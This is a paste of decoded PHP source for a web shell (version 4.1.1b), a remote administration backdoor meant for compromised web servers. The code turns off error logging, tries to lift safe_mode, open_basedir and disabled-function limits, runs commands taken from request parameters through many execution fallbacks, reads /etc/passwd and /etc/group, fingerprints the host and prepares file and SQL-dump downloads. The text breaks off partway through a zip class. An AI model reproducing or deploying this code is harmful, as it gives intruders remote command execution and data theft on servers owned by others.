· 8 years ago · May 15, 2018, 04:32 PM
1/* Decoded by unphp.net */
2
3<?php #
4# Please respect the author's work and don't publish this source code in open access.
5# ПожалуйÑта, уважайте труд автора и не публикуйте Ñтот иÑходный код в откытом доÑтупе.
6#
7@ini_set('log_errors_max_len', -1);
8@ini_restore('error_log');
9@ini_set('error_log', '');
10@ini_restore('log_errors');
11@ini_set('log_errors', 0);
12@ini_set('display_errors', 0);
13@ini_restore('error_reporting');
14@ini_set('error_reporting', ~E_ALL);
15@error_reporting(0);
16if (PHP_VERSION < '5.4') {
17 ini_restore('safe_mode');
18 ini_set('safe_mode', 0);
19 ini_restore('safe_mode_exec_dir');
20 ini_set('safe_mode_exec_dir', '');
21 ini_restore('magic_quotes_sybase');
22 ini_set('magic_quotes_sybase', 0);
23 ini_restore('magic_quotes_runtime');
24 ini_set('magic_quotes_runtime', 0);
25 ini_set('magic_quotes_gpc', 0);
26 set_magic_quotes_runtime(0);
27}
28ini_restore('open_basedir');
29ini_set('open_basedir', '');
30ini_restore('disable_function');
31ini_set('disable_function', '');
32ini_restore('disable_classes');
33ini_set('disable_classes', '');
34ini_set('max_execution_time', 0);
35set_time_limit(0);
36ini_set('memory_limit', '1024M');
37ini_restore('file_uploads');
38ini_set('file_uploads', 1);
39ini_restore('enable_post_data_reading');
40ini_set('enable_post_data_reading', 1);
41ob_end_clean();
42if (defined('SID')) session_write_close();
43function unQuote($a) {
44 foreach ($a as $k => $v) if (is_array($v)) $a[$k] = unQuote($v);
45 else $a[$k] = stripslashes($v);
46 return $a;
47}
48function prepVals(&$a, $k) {
49 foreach ($a as $i => $v) if (is_array($v)) prepVals($a[$i], $k);
50 elseif (strlen($v) > 2) {
51 $r = '';
52 $v = explode($k, $v);
53 for ($n = count($v) - 1;$n >= 0;--$n) {
54 $c = array_pop($v);
55 if ($c === '') $c = $k;
56 if ($n % 2 === 0) $r.= $c;
57 else $r = $c . $r;
58 }
59 $a[$i] = $r;
60 }
61}
62if (defined('CED')) $D = unserialize(pack('H*', CED));
63else {
64 if (isset($_POST['a'])) $D = $_POST;
65 elseif (isset($_GET['a'])) $D = $_GET;
66 else $D = array();
67 if (get_magic_quotes_gpc()) $D = unQuote($D);
68 if (isset($D['k'])) {
69 $k = $D['k'];
70 unset($D['k']);
71 prepVals($D, $k);
72 }
73}
74$C = array('' => 'UTF-8', 'UTF-16', 'Windows-1250', 'Windows-1251', 'Windows-1252', 'Windows-1254', 'Windows-1256', 'Windows-1257', 'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-13', 'Big5', 'GBK', 'Shift_JIS', 'EUC-KR', 'EUC-JP', 'IBM866', 'KOI8-R', 'KOI8-U',);
75define('VER', '4.1.1b');
76define('DSC', DIRECTORY_SEPARATOR);
77define('NIX', DSC === '/');
78define('CSE', isset($D['c']) ? $C[$D['c']] : 'UTF-8');
79if (!defined('CED')) {
80 if (isset($D['a'])) {
81 if (isset($D['d'])) {
82 if ($D['a'] === 'f') {
83 if (is_array($D['d'])) {
84 $D['DBP'] = samePath($D['d']);
85 $n = 'FILES_' . $D['DBP'] . '.zip';
86 } elseif (substr($D['d'], -1) === DSC) $n = 'DIR_' . $D['d'] . '.zip';
87 else $n = fileName($D['d']);
88 $n = escFileName($n);
89 } else $n = 'SQLDump.zip';
90 header('Content-Type: application/octet-stream');
91 header('Content-Disposition: attachment; filename="' . $n . '"');
92 } else {
93 header('Content-Type: application/json; charset=' . CSE);
94 header('X-Content-Type-Options: nosniff');
95 }
96 } else header('Content-Type: text/html; charset=' . CSE);
97 if (isset($D['j'])) {
98 $f = $D['j'][0];
99 $s = $D['j'][1];
100 $c = $D['j'][2] . ' -' . $D['j'][3];
101 unset($D['j']);
102 if ($v = tempFile('<?php define("CED","' . bin2hex(serialize($D)) . '");$_COOKIE["key"]=' . "'" . addcslashes($_COOKIE['key'], "\\'") . "';" . '$_FILES=unserialize(pack(' . "'H*','" . bin2hex(serialize($_FILES)) . "'" . '));include(' . "'" . addcslashes(preg_replace('#(.+)\(\d+\) : runtime-created function.*#', '\1', __FILE__), '\\') . "'" . ');?>')) {
103 exe($c . 'f ' . $v, $f, $s);
104 delFile($v);
105 }
106 die;
107 }
108}
109function escHTML($v) {
110 return str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $v);
111}
112function selfPath() {
113 if (isset($_SERVER['SCRIPT_FILENAME'])) return filePath($_SERVER['SCRIPT_FILENAME']);
114 if (isset($_SERVER['DOCUMENT_ROOT'])) return substr($_SERVER['DOCUMENT_ROOT'], -1) === DSC ? $_SERVER['DOCUMENT_ROOT'] : $_SERVER['DOCUMENT_ROOT'] . DSC;
115 if (PHP_VERSION >= '5.3') return substr(__DIR__, -1) === DSC ? __DIR__ : __DIR__ . DSC;
116 return filePath(__FILE__);
117}
118function filePath($p) {
119 $p = rtrim($p, DSC);
120 return implode(DSC, array_slice(explode(DSC, $p), 0, -1)) . DSC;
121}
122function fileName($p) {
123 $p = rtrim($p, DSC);
124 $i = strrpos($p, DSC);
125 return $i === FALSE ? $p : substr($p, $i + 1);
126}
127function writeFile($p, $c) {
128 if ($v = fopen($p, 'wb')) {
129 flock($v, LOCK_EX);
130 fwrite($v, $c);
131 fflush($v);
132 flock($v, LOCK_UN);
133 fclose($v);
134 return TRUE;
135 }
136 if (PHP_VERSION >= '5') {
137 $v = file_put_contents($p, $c);
138 if (is_int($v)) return TRUE;
139 }
140 if (PHP_VERSION >= '5'):
141 if (PHP_VERSION >= '5.1') {
142 try {
143 $v = new SplFileObject($p, 'wb');
144 }
145 catch(Exception $e) {
146 $v = FALSE;
147 }
148 if ($v) {
149 $v->flock(LOCK_EX);
150 $v->fwrite($c);
151 $v->fflush();
152 $v->flock(LOCK_UN);
153 unset($v);
154 return TRUE;
155 }
156 }
157 endif;
158 return FALSE;
159}
160function tempName() {
161 $a = 'poiuytrewqlkjhgfdsamnbvcxzMNBVCXZLKJHGFDSAPOIUYTREWQ0987654321';
162 $v = '.';
163 for ($i = 0;$i < 8;++$i) $v.= $a[rand(0, 61) ];
164 return $v . '.tmp';
165}
166function tempFile($v) {
167 if (($n = tempnam(NIX ? '/tmp' : 'c:\\Temp', '')) && (writeFile($n, $v))) return $n;
168 $a = array('upload_tmp_dir', 'session.save_path', 'user_dir', 'doc_root');
169 foreach ($a as $k) if ($n = ini_get($k)) {
170 $n.= DSC . tempName();
171 if (writeFile($n, $v)) return $n;
172 }
173 $n = selfPath() . tempName();
174 if (writeFile($n, $v)) return $n;
175 return FALSE;
176}
177function getFile($p) {
178 $v = NULL;
179 if ($v = fopen($p, 'rb')) {
180 $r = '';
181 while (!feof($v)) $r.= fread($v, 1048576);
182 fclose($v);
183 return $r;
184 }
185 if (PHP_VERSION >= '4.3') {
186 $v = file_get_contents($p);
187 if (is_string($v)) return $v;
188 }
189 $v = file($p);
190 if (is_array($v)) return implode('', $v);
191 if (PHP_VERSION >= '5'):
192 if (PHP_VERSION >= '5.1') {
193 try {
194 $v = new SplFileObject($p, 'rb');
195 }
196 catch(Exception $e) {
197 $v = FALSE;
198 }
199 if ($v) {
200 $r = '';
201 while (!$v->eof()) $r.= $v->fgets();
202 unset($v);
203 return $r;
204 }
205 }
206 endif;
207 if (defined('FORCE_GZIP')) {
208 if ($v = gzopen($p)) {
209 $r = '';
210 while (!gzeof($v)) $r.= gzread($v, 1048576);
211 gzclose($v);
212 return $r;
213 }
214 $v = gzfile($p);
215 if (is_array($v)) return implode('', $v);
216 }
217 if ($v = ob_start()) {
218 if (is_int(readfile($p)) || copy($p, 'php://output') || (defined('FORCE_GZIP') && is_int(readgzfile($p)))) {
219 $r = ob_get_contents();
220 ob_end_clean();
221 return $r;
222 }
223 ob_end_clean();
224 }
225 return FALSE;
226}
227function delFile($p) {
228 return (unlink($p) || (NIX && rename($p, '/dev/null') && !is_file($p) && !file_exists($p)));
229}
230function nesc($v) {
231 return "'" . str_replace("'", '\'"\'"\'', $v) . "'";
232}
233function wesc($v) {
234 return str_replace(array('^', '&', '\\', '<', '>', '|'), array('^^', '^&', '^\\', '^<', '^>', '^|'), $v);
235}
236function exe($cmd, $fnc, $sh = '', $se = TRUE, $or = '') {
237 $se = '2>' . ($se ? '&1' : (NIX ? '/dev/null' : 'nul')) . $or;
238 if (NIX) $sc = 'echo ' . nesc($cmd) . '|' . ($sh === '' ? '$0' : $sh) . ' ' . $se . ' & exit';
239 else $sc = ($sh === '' ? '(' . $cmd . ')' : $sh . ' /C ' . wesc($cmd) . ' ') . $se;
240 switch ($fnc) {
241 case 0:
242 system($sc);
243 break;
244 case 1:
245 passthru($sc);
246 break;
247 case 2:
248 echo `$sc`;
249 break;
250 case 3:
251 echo shell_exec($sc);
252 break;
253 case 4:
254 $r = NULL;
255 exec($sc, $r);
256 if (is_array($r)) foreach ($r as $v) echo $v, "\n";
257 break;
258 case 5:
259 if ($h = popen($sc, 'r')) {
260 while (!feof($h)) echo fread($h, 1024);
261 pclose($h);
262 }
263 break;
264 case 6:
265 if ($h = proc_open($sc, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'a')), $p)) {
266 echo stream_get_contents($p[1]);
267 fclose($p[0]);
268 fclose($p[1]);
269 proc_close($h);
270 }
271 break;
272 case 7:
273 if ($h = fopen('expect://' . $sc, 'r')) {
274 while (!feof($h)) echo fread($h, 1024);
275 fclose($h);
276 }
277 break;
278 case 8:
279 if ($h = expect_popen($sc)) {
280 while (!feof($h)) echo fread($h, 1024);
281 fclose($h);
282 }
283 break;
284 case 9:
285 pcntl_exec(NIX ? '/bin/sh' : 'cmd', array((NIX ? '-' : '/') . 'c', '(' . $cmd . ')' . $se));
286 break;
287 case 10:
288 if ($h = new COM('WScript.Shell')) echo $h->Exec(($sh === '' ? 'cmd' : $sh) . ' /C ' . $cmd . ' ' . $se)->StdOut->ReadAll();
289 break;
290 }
291 }
292 function uName($id) {
293 if ($id === - 1) return '?';
294 static $a = NULL, $f = FALSE;
295 if ($a === NULL) {
296 if ($v = getFile('/etc/passwd')) {
297 $a = array();
298 $v = explode("\n", $v);
299 foreach ($v as $i) if ($i) {
300 $i = explode(':', $i, 4);
301 $a[$i[2]] = $i[0];
302 }
303 } elseif (defined('POSIX_F_OK') || function_exists('posix_getpwuid')) $f = (bool)posix_getpwuid(0);
304 }
305 if ($a) {
306 if (isset($a[$id])) return $a[$id];
307 } elseif ($f) {
308 if ($v = posix_getpwuid($id)) return $v['name'];
309 }
310 return $id;
311 }
312 function gName($id) {
313 if ($id === - 1) return '?';
314 static $a = NULL, $f = FALSE;
315 if ($a === NULL) {
316 if ($v = getFile('/etc/group')) {
317 $a = array();
318 $v = explode("\n", $v);
319 foreach ($v as $i) if ($i) {
320 $i = explode(':', $i, 4);
321 $a[$i[2]] = $i[0];
322 }
323 } elseif (defined('POSIX_F_OK') || function_exists('posix_getgrgid')) $f = (bool)posix_getgrgid(0);
324 }
325 if ($a) {
326 if (isset($a[$id])) return $a[$id];
327 } elseif ($f) {
328 if ($v = posix_getgrgid($id)) return $v['name'];
329 }
330 return $id;
331 }
332 function getINI($s, &$v) {
333 $v = trim(ini_get($s));
334 return $v !== '';
335 }
336 function isINI($v) {
337 $v = strtolower(trim(ini_get($v)));
338 return ($v === '1' || $v === 'on');
339 }
340 function samePath($a) {
341 $p = NULL;
342 foreach ($a as $v) {
343 $v = array_slice(explode(DSC, rtrim($v, DSC)), 0, -1);
344 if ($p === NULL) $p = $v;
345 else {
346 $k = array();
347 $c = count($p);
348 $i = count($v);
349 if ($i < $c) $c = $i;
350 for ($i = 0;$i < $c;++$i) if ($p[$i] === $v[$i]) $k[] = $p[$i];
351 else break;
352 $p = $k;
353 if ($i === 0) break;
354 }
355 }
356 return count($p) === 0 ? '' : implode(DSC, $p) . DSC;
357 }
358 function escFileName($v) {
359 return str_replace(array('%', '/', '\\', ':', '*', '?', '"', '<', '>', '|'), array('%25', "\xe2\x95\xb1", "\xe2\x95\xb2", "\xea\x9e\x89", "\xe2\x88\x97", '%3F', "\xe2\x80\x9f", '%3C', '%3E', "\xe2\x88\xa3"), $v);
360 }
361 function infMain($h = FALSE) {
362 echo $h ? '<table id="tblInf"><tr title="HTTP Host, Server Addr, Server Name, Host Name, Host IP"><th>' : '[{"', 'Address', $h ? '</th><td>' : '":';
363 $a = array();
364 foreach (array('HTTP_HOST', 'SERVER_ADDR', 'SERVER_NAME') as $v) if (isset($_SERVER[$v])) {
365 $v = trim($_SERVER[$v]);
366 if ($v !== '' && !in_array($v, $a)) $a[] = $v;
367 }
368 if ($v = php_uname('n')) {
369 $v = trim($v);
370 if ($v !== '' && !in_array($v, $a)) $a[] = $v;
371 }
372 if (PHP_VERSION >= '5.3' && ($v = gethostname())) {
373 $v = trim($v);
374 if ($v !== '' && !in_array($v, $a)) $a[] = $v;
375 }
376 $r = '';
377 foreach ($a as $k => $v) {
378 if ($k > 0) $r.= ' / ';
379 $r.= $v;
380 if ($i = gethostbynamel($v)) {
381 $b = FALSE;
382 foreach ($i as $v) if (!in_array($v, $a)) {
383 $a[] = $v;
384 if ($b) $r.= ', ';
385 else {
386 $b = TRUE;
387 $r.= ' (';
388 }
389 $r.= $v;
390 }
391 if ($b) $r.= ')';
392 } elseif (($i = gethostbyname($v)) && !in_array($v, $a)) {
393 $a[] = $v;
394 $r.= ' (' . $v . ')';
395 }
396 }
397 if ($h) echo escHTML($r);
398 else jsonEcho($r);
399 echo $h ? '</td></tr><tr><th>' : ',"', 'System', $h ? '</th><td>' : '":';
400 $r = '';
401 if (($v = trim(php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('v') . ' ' . php_uname('m'))) !== '') $r = $v;
402 elseif (NIX && ($v = getFile('/proc/version'))) $r = $v;
403 else {
404 if (defined('PHP_OS')) $r = PHP_OS;
405 else $r = NIX ? '*NIX' : 'Windows';
406 if (!NIX) {
407 $a = array();
408 foreach (array('PHP_WINDOWS_VERSION_MAJOR', 'PHP_WINDOWS_VERSION_MINOR', 'PHP_WINDOWS_VERSION_BUILD') as $v) if (defined($v)) $a[] = constant($v);
409 if ($a) $r.= ' ' . implode('.', $a);
410 if (defined('PHP_WINDOWS_VERSION_SP_MAJOR') && PHP_WINDOWS_VERSION_SP_MAJOR > 0) {
411 $r.= ' SP' . PHP_WINDOWS_VERSION_SP_MAJOR;
412 if (defined('PHP_WINDOWS_VERSION_SP_MINOR') && PHP_WINDOWS_VERSION_SP_MINOR > 0) $r.= '.' . PHP_WINDOWS_VERSION_SP_MINOR;
413 }
414 }
415 }
416 if (NIX && (($v = trim(getFile('/etc/issue.net'))) !== '' || ($v = trim(getFile('/etc/issue'))) !== '')) $r.= ' (' . $v . ')';
417 if ($h) echo escHTML($r);
418 else jsonEcho($r);
419 if (!empty($_SERVER['SERVER_SOFTWARE'])) {
420 echo $h ? '</td></tr><tr><th>' : ',"', 'Server', $h ? '</th><td>' : '":';
421 if ($h) echo escHTML($_SERVER['SERVER_SOFTWARE']);
422 else jsonEcho($_SERVER['SERVER_SOFTWARE']);
423 }
424 echo $h ? '</td></tr><tr><th>' : ',"', 'Software', $h ? '</th><td>' : '":';
425 $r = 'PHP/' . PHP_VERSION;
426 if (defined('SUHOSIN_PATCH_VERSION')) $r.= ' with Suhosin patch/' . SUHOSIN_PATCH_VERSION;
427 $r.= '; ';
428 if (defined('CURLE_OK')) {
429 $r.= 'cURL';
430 $v = curl_version();
431 if (isset($v['version'])) $r.= '/' . $v['version'];
432 $r.= '; ';
433 }
434 if ($v = phpversion('Suhosin')) $r.= ' Suhosin/' . $v;
435 if ($h) echo escHTML($r);
436 else jsonEcho($r);
437 echo $h ? '</td></tr><tr><th>' : ',"', 'User', $h ? '</th><td>' : '":';
438 $r = '';
439 $a = array();
440 if (NIX) {
441 if (defined('POSIX_F_OK') || function_exists('posix_geteuid')) {
442 if (is_int($v = posix_geteuid())) $r.= 'euid=' . $v . '(' . uName($v) . '); ';
443 if (is_int($v = posix_getegid())) $r.= 'egid=' . $v . '(' . gName($v) . '); ';
444 }
445 if (is_int($v = getmyuid())) $r.= 'ouid=' . $v . '(' . uName($v) . '); ';
446 if (is_int($v = getmygid())) $r.= 'ogid=' . $v . '(' . gName($v) . '); ';
447 }
448 $b = FALSE;
449 foreach (array('REMOTE_ADDR', 'HTTP_X_REAL_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR') as $i) {
450 if (!empty($_SERVER[$i])) {
451 if ($b) $r.= ', ';
452 else {
453 $b = TRUE;
454 $r.= 'IP: ';
455 }
456 $r.= $_SERVER[$i];
457 }
458 }
459 if ($b) $r.= ';';
460 if ($h) echo escHTML($r);
461 else jsonEcho($r);
462 echo $h ? '</td></tr><tr><th colspan="2"></th></tr><tr><th>' : '},{"', 'Safe mode', $h ? '</th><td>' : '":';
463 if (isINI('safe_mode')) {
464 $v = isINI('safe_mode_gid') ? 'GID' : 'UID';
465 echo $h ? $v : '"' . $v . '"';
466 foreach (array('Include dir' => 'safe_mode_include_dir', 'Exec dir' => 'safe_mode_exec_dir', 'Vars prefixes' => 'safe_mode_allowed_env_vars', 'Protected vars' => 'safe_mode_protected_env_vars') as $k => $v) {
467 if (!getINI($v, $v)) $v = '-';
468 echo $h ? '</td></tr><tr><th>' : ',"', $k, $h ? '</th><td>' : '":';
469 if ($h) echo escHTML($v);
470 else jsonEcho($v);
471 }
472 } else echo $h ? '-' : '"-"';
473 echo $h ? '</td></tr>' : '';
474 foreach (array('Open basedir' => 'open_basedir', 'Disabled functions' => 'disable_functions', 'Disabled classes' => 'disable_classes') as $k => $v) {
475 if (!getINI($v, $v)) $v = '-';
476 echo $h ? '<tr><th>' : ',"', $k, $h ? '</th><td>' : '":';
477 if ($h) echo escHTML($v), '</td></tr>';
478 else jsonEcho($v);
479 }
480 if (getINI('suhosin.simulation', $v)) {
481 echo $h ? '<tr><th colspan="2"></th></tr><tr><th>' : '},{"', 'Suhosin mode', $h ? '</th><td>' : '":"', $v ? 'simulation' : 'break', $h ? '</td></tr><tr><th>' : '","', 'Allow rewrite', $h ? '</th><td>' : '":';
482 if (!getINI('suhosin.perdir', $v) || !$v) $v = '-';
483 if ($h) echo escHTML($v), '</td></tr>';
484 else jsonEcho($v);
485 foreach (array('Functions whitelist' => 'suhosin.executor.func.whitelist', 'Functions blacklist' => 'suhosin.executor.func.blacklist', 'Eval whitelist' => 'suhosin.executor.eval.whitelist', 'Eval blacklist' => 'suhosin.executor.eval.blacklist') as $k => $v) {
486 if (!getINI($v, $v)) $v = '-';
487 echo $h ? '<tr><th>' : ',"', $k, $h ? '</th><td>' : '":';
488 if ($h) echo escHTML($v), '</td></tr>';
489 else jsonEcho($v);
490 }
491 $a = array('eval' => 'suhosin.executor.disable_eval', '/e modifier' => 'suhosin.executor.disable_emodifier');
492 $i = array();
493 foreach ($a as $k => $v) if (isINI($v)) $i[] = $k;
494 echo $h ? '<tr><th>' : ',"', 'Disabled', $h ? '</th><td>' : '":"', $i ? implode(', ', $i) : '-', $h ? '</td></tr>' : '"';
495 if (isINI('suhosin.log.file') && getINI('suhosin.log.file.name', $v)) {
496 echo $h ? '<tr><th>' : ',"', 'Log file', $h ? '</th><td>' : '":';
497 if ($h) echo escHTML($v), '</td></tr>';
498 else jsonEcho($v);
499 }
500 }
501 echo $h ? '</table>' : '}]';
502 }
503 function parsePath($p, &$b, &$n) {
504 $v = rtrim($p, DSC);
505 $i = strrpos($v, DSC);
506 if ($i === FALSE) {
507 if (!NIX && strlen($v) === 2 && $v[1] === ':') {
508 $b = $v . DSC;
509 $n = '';
510 } else {
511 $b = DSC;
512 $n = $v;
513 }
514 } else {
515 $b = substr($v, 0, $i + 1);
516 $n = substr($v, $i + 1);
517 }
518 }
519 class FileInfo {
520 function FileInfo($v) {
521 if (is_string($v)) {
522 $this->fb = '';
523 $this->fn = '';
524 parsePath($v, $this->fb, $this->fn);
525 $this->fp = $this->fb . $this->fn;
526 } else {
527 $this->fi = $v;
528 $this->fp = $v->getPathName();
529 $this->fb = $v->getPath();
530 $this->fn = $v->getFileName();
531 }
532 $this->rp = $this->fp;
533 if ($this->isLink()) {
534 $this->rp = $this->getLinkTarget();
535 if (isset($this->t)) unset($this->t);
536 if (isset($this->fi)) unset($this->fi);
537 }
538 }
539 function getPath() {
540 return $this->fb;
541 }
542 function getFileName() {
543 return $this->fn;
544 }
545 function getPathName() {
546 return $this->fp;
547 }
548 function isDir() {
549 if (isset($this->d)) return $this->d;
550 if (!isset($this->p)) $this->getPerms();
551 if ($this->p !== 0) {
552 $this->d = ($this->p & 0170000) === 0040000;
553 return $this->d;
554 }
555 if (!isset($this->t)) $this->type();
556 if ($this->t !== FALSE) {
557 $this->d = $this->t === 'dir';
558 return $this->d;
559 }
560 $v = is_dir($this->fp);
561 if (is_bool($v)) {
562 $this->d = $v;
563 return $v;
564 }
565 if (PHP_VERSION >= '5'):
566 if (!isset($this->fi)) $this->spl();
567 if ($this->fi !== FALSE) {
568 try {
569 $v = $this->fi->isDir();
570 }
571 catch(Exception $e) {
572 $v = NULL;
573 }
574 if (is_bool($v)) {
575 $this->d = $v;
576 return $v;
577 }
578 }
579 endif;
580 $this->d = FALSE;
581 return FALSE;
582 }
583 function isLink() {
584 if (isset($this->l)) return $this->l;
585 $v = lstat($this->fp);
586 if (is_array($v)) {
587 $this->l = ($v[2] & 0170000) === 0120000;
588 return $this->l;
589 }
590 if (!isset($this->t)) $this->type();
591 if ($this->t !== FALSE) {
592 $this->l = $this->t === 'link';
593 return $this->l;
594 }
595 $v = is_link($this->fp);
596 if (is_bool($v)) {
597 $this->l = $v;
598 return $v;
599 }
600 if (PHP_VERSION >= '5'):
601 if (!isset($this->fi)) $this->spl();
602 if ($this->fi !== FALSE) {
603 try {
604 $v = $this->fi->isLink();
605 }
606 catch(Exception $e) {
607 $v = NULL;
608 }
609 if (is_bool($v)) {
610 $this->l = $v;
611 return $v;
612 }
613 }
614 endif;
615 $this->l = FALSE;
616 return FALSE;
617 }
618 function getLinkTarget() {
619 if (isset($this->f)) return $this->f;
620 if (NIX || PHP_VERSION >= '5.3') {
621 $v = readlink($this->fp);
622 if (is_string($v)) {
623 $this->f = $v;
624 return $v;
625 }
626 }
627 if (PHP_VERSION >= '5'):
628 if (!isset($this->fi)) $this->spl();
629 if ($this->fi !== FALSE) {
630 try {
631 $v = $this->fi->getLinkTarget();
632 }
633 catch(Exception $e) {
634 $v = NULL;
635 }
636 if (is_string($v)) {
637 $this->f = $v;
638 return $v;
639 }
640 }
641 endif;
642 $v = realpath($this->fp);
643 if (is_string($v)) {
644 $this->f = $v;
645 return $v;
646 }
647 $this->f = '';
648 return '';
649 }
650 function getSize() {
651 if (isset($this->s)) return $this->s;
652 if (!isset($this->i)) $this->stat();
653 if ($this->i !== FALSE) {
654 $this->s = $this->i[7];
655 return $this->s;
656 }
657 $v = filesize($this->fp);
658 if (is_int($v)) {
659 $this->s = $v;
660 return $v;
661 }
662 if (PHP_VERSION >= '5'):
663 if (!isset($this->fi)) $this->spl();
664 if ($this->fi !== FALSE) {
665 try {
666 $v = $this->fi->getSize();
667 }
668 catch(Exception $e) {
669 $v = NULL;
670 }
671 if (is_int($v)) {
672 $this->s = $v;
673 return $v;
674 }
675 }
676 endif;
677 $this->s = - 1;
678 return -1;
679 }
680 function getCTime() {
681 if (isset($this->c)) return $this->c;
682 if (!isset($this->i)) $this->stat();
683 if ($this->i !== FALSE) {
684 $this->c = $this->i[10];
685 return $this->c;
686 }
687 $v = filectime($this->fp);
688 if (is_int($v)) {
689 $this->c = $v;
690 return $v;
691 }
692 if (PHP_VERSION >= '5'):
693 if (!isset($this->fi)) $this->spl();
694 if ($this->fi !== FALSE) {
695 try {
696 $v = $this->fi->getCTime();
697 }
698 catch(Exception $e) {
699 $v = NULL;
700 }
701 if (is_int($v)) {
702 $this->c = $v;
703 return $v;
704 }
705 }
706 endif;
707 $this->c = 0;
708 return 0;
709 }
710 function getMTime() {
711 if (isset($this->m)) return $this->m;
712 if (!isset($this->i)) $this->stat();
713 if ($this->i !== FALSE) {
714 $this->m = $this->i[9];
715 return $this->m;
716 }
717 $v = filemtime($this->fp);
718 if (is_int($v)) {
719 $this->m = $v;
720 return $v;
721 }
722 if (PHP_VERSION >= '5'):
723 if (!isset($this->fi)) $this->spl();
724 if ($this->fi !== FALSE) {
725 try {
726 $v = $this->fi->getMTime();
727 }
728 catch(Exception $e) {
729 $v = NULL;
730 }
731 if (is_int($v)) {
732 $this->m = $v;
733 return $v;
734 }
735 }
736 endif;
737 $this->m = 0;
738 return 0;
739 }
740 function getOwner() {
741 if (isset($this->o)) return $this->o;
742 if (!isset($this->i)) $this->stat();
743 if ($this->i !== FALSE) {
744 $this->o = $this->i[4];
745 return $this->o;
746 }
747 $v = fileowner($this->fp);
748 if (is_int($v)) {
749 $this->o = $v;
750 return $v;
751 }
752 if (PHP_VERSION >= '5'):
753 if (!isset($this->fi)) $this->spl();
754 if ($this->fi !== FALSE) {
755 try {
756 $v = $this->fi->getOwner();
757 }
758 catch(Exception $e) {
759 $v = NULL;
760 }
761 if (is_int($v)) {
762 $this->o = $v;
763 return $v;
764 }
765 }
766 endif;
767 $this->o = - 1;
768 return -1;
769 }
770 function getGroup() {
771 if (isset($this->g)) return $this->g;
772 if (!isset($this->i)) $this->stat();
773 if ($this->i !== FALSE) {
774 $this->g = $this->i[5];
775 return $this->g;
776 }
777 $v = filegroup($this->fp);
778 if (is_int($v)) {
779 $this->g = $v;
780 return $v;
781 }
782 if (PHP_VERSION >= '5'):
783 if (!isset($this->fi)) $this->spl();
784 if ($this->fi !== FALSE) {
785 try {
786 $v = $this->fi->getGroup();
787 }
788 catch(Exception $e) {
789 $v = NULL;
790 }
791 if (is_int($v)) {
792 $this->g = $v;
793 return $v;
794 }
795 }
796 endif;
797 $this->g = - 1;
798 return -1;
799 }
800 function getPerms() {
801 if (isset($this->p)) return $this->p;
802 if (!isset($this->i)) $this->stat();
803 if ($this->i !== FALSE) {
804 $this->p = $this->i[2];
805 return $this->p;
806 }
807 $v = fileperms($this->fp);
808 if (is_int($v)) {
809 $this->p = $v;
810 return $v;
811 }
812 if (PHP_VERSION >= '5'):
813 if (!isset($this->fi)) $this->spl();
814 if ($this->fi !== FALSE) {
815 try {
816 $v = $this->fi->getPerms();
817 }
818 catch(Exception $e) {
819 $v = NULL;
820 }
821 if (is_int($v)) {
822 $this->p = $v;
823 return $v;
824 }
825 }
826 endif;
827 $this->p = 0;
828 return 0;
829 }
830 function isReadable() {
831 if (isset($this->r)) return $this->r;
832 $v = is_readable($this->fp);
833 if (is_bool($v)) {
834 $this->r = $v;
835 return $v;
836 }
837 if (PHP_VERSION >= '5'):
838 if (!isset($this->fi)) $this->spl();
839 if ($this->fi !== FALSE) {
840 try {
841 $v = $this->fi->isReadable();
842 }
843 catch(Exception $e) {
844 $v = NULL;
845 }
846 if (is_bool($v)) {
847 $this->r = $v;
848 return $v;
849 }
850 }
851 endif;
852 $this->r = FALSE;
853 return FALSE;
854 }
855 function isWritable() {
856 if (isset($this->w)) return $this->w;
857 $v = is_writable($this->fp);
858 if (is_bool($v)) {
859 $this->w = $v;
860 return $v;
861 }
862 if (PHP_VERSION >= '5'):
863 if (!isset($this->fi)) $this->spl();
864 if ($this->fi !== FALSE) {
865 try {
866 $v = $this->fi->isWritable();
867 }
868 catch(Exception $e) {
869 $v = NULL;
870 }
871 if (is_bool($v)) {
872 $this->w = $v;
873 return $v;
874 }
875 }
876 endif;
877 $this->w = FALSE;
878 return FALSE;
879 }
880 function getMode() {
881 $v = 0;
882 if ($this->isReadable()) $v+= 1;
883 if ($this->isWritable()) $v+= 2;
884 return $v;
885 }
886 function stat() {
887 $v = stat($this->fp);
888 if (is_array($v)) {
889 $this->i = $v;
890 return;
891 }
892 $v = lstat($this->fp);
893 $this->i = is_array($v) ? $v : FALSE;
894 }
895 function type() {
896 $v = filetype($this->rp);
897 $this->t = $v ? $v : FALSE;
898 }
899 function spl() {
900 $this->fi = FALSE;
901 if (PHP_VERSION >= '5'):
902 if (PHP_VERSION >= '5.1.2') {
903 try {
904 $this->fi = new SplFileInfo($this->rp);
905 }
906 catch(Exception $e) {
907 $this->fi = FALSE;
908 }
909 }
910 endif;
911 }
912 }
913 if (isset($D['a'])) {
914 class PZIP {
915 var $_bpl = '', $_cdfh = NULL, $_cdfp = NULL, $_cdfo = FALSE, $_cdrc = 0, $_cdso = 0, $_flrs = array();
916 function init($bp) {
917 $this->_bpl = strlen($bp);
918 if ($h = tmpfile()) $this->_cdfh = $h;
919 else {
920 $n = tempName();
921 $a = array('upload_tmp_dir', 'session.save_path', 'user_dir', 'doc_root');
922 foreach ($a as $v) if ($p = ini_get($v)) {
923 $p.= DSC . $n;
924 if ($h = fopen($p, 'bw+')) {
925 flock($h, LOCK_EX);
926 $this->_cdfh = $h;
927 $this->_cdfp = $p;
928 return TRUE;
929 }
930 if (PHP_VERSION >= '5'):
931 if (PHP_VERSION >= '5.1') {
932 try {
933 $h = new SplFileObject($p, 'bw+');
934 }
935 catch(Exception $e) {
936 $h = NULL;
937 }
938 if ($h) {
939 $h->flock(LOCK_EX);
940 $this->_cdfh = $h;
941 $this->_cdfp = $p;
942 $this->_cdfo = TRUE;
943 return TRUE;
944 }
945 }
946 endif;
947 }
948 $p = selfPath() . $n;
949 if ($h = fopen($p, 'bw+')) {
950 flock($h, LOCK_EX);
951 $this->_cdfh = $h;
952 $this->_cdfp = $p;
953 return TRUE;
954 }
955 if (PHP_VERSION >= '5'):
956 if (PHP_VERSION >= '5.1') {
957 try {
958 $h = new SplFileObject($p, 'bw+');
959 }
960 catch(Exception $e) {
961 $h = NULL;
